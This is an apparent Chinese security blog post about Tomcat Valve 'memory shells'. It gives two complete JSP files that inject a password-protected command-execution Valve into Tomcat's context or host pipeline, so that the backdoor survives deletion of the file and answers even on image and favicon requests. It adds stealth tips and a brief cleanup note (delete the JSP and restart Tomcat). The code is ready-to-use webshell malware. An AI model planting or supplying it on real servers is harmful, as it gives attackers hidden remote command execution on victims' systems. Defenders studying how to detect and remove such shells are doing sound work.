tomcat Valve内存马

  随着hw演习,红蓝对抗越来越激烈,攻防对抗研究无止尽,以前hw,黑客上传个jsp文件,直接kill掉就可以了,现在kill掉还得重启服务才可以,现在的木马是直接注入内存.

  应用场景:文件上传漏洞等

  反序列化漏洞,是直接注入生效,无需文件落地访问落地生效,今天围绕着文件访问落地注入内存马:

  我博客写了四篇tomcat文章,就是为tomcat内存马做铺垫:

  直接上demo:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入调用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //获取request属性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    //获取请求上下文地址,并转换成StandardContext
    StandardContext context = (StandardContext) req.getContext();
    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  启动tomcat运行:

  

 

   这里可以设置响应404,更隐匿,这时候内存马已经被注入成功.

  访问一个不存在的页面:

  

 

  如果做了报错统一处理,是可以在不存在的一个页面上rce的,为什么这里可以执行命令,因为我做了缺省servlet:

  

 

 

 这段代码的缺陷是必须是可访问的界面,不能在jpg/ico/png静态资源上执行命令回显,我测试是不能在图片上回显....

    如果我是一张静态资源图片,是无法执行命令的,只会显示jpg,执行任何命令都没反应:

    

 

 

  对前面的代码做改造,因为有了一些tomcat架构设计基础,简单的改造下:

    首先访问test.jsp,让内存马注入生效

      

  再次访问jpg图片:  

    

 

 

 

  访问favicon.ico:

  

 

 

  

  代码如下:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入调用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //获取request属性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    StandardHost host = (StandardHost) req.getHost();
    Pipeline pipeline = host.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  漏洞修复:

    (1)先删除jsp

  被中内存马后,删除jsp后一定要重启,这里我删除test.jsp,但是我没重启,仍然可以执行命令操作:

    

 

 

  删除jsp木马后,下一步就是重启tomcat服务:

    

 

 

  重启后,一切恢复正常,内存马清理成功.

  注意:如果没发现jsp shell,那么大概率是直接注入/攻击者删除了jsp,这时候直接重启tomcat服务即可解决问题

  Valve内存马学习参考链接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

  内存马现在花样套路层出不穷,花样百出,这里笔者只是抛砖引玉,安全之路任道众远!

 

  

 

  

posted @ 2021-07-09 18:45  飘渺红尘✨  阅读(740)  评论(0编辑  收藏  举报
Title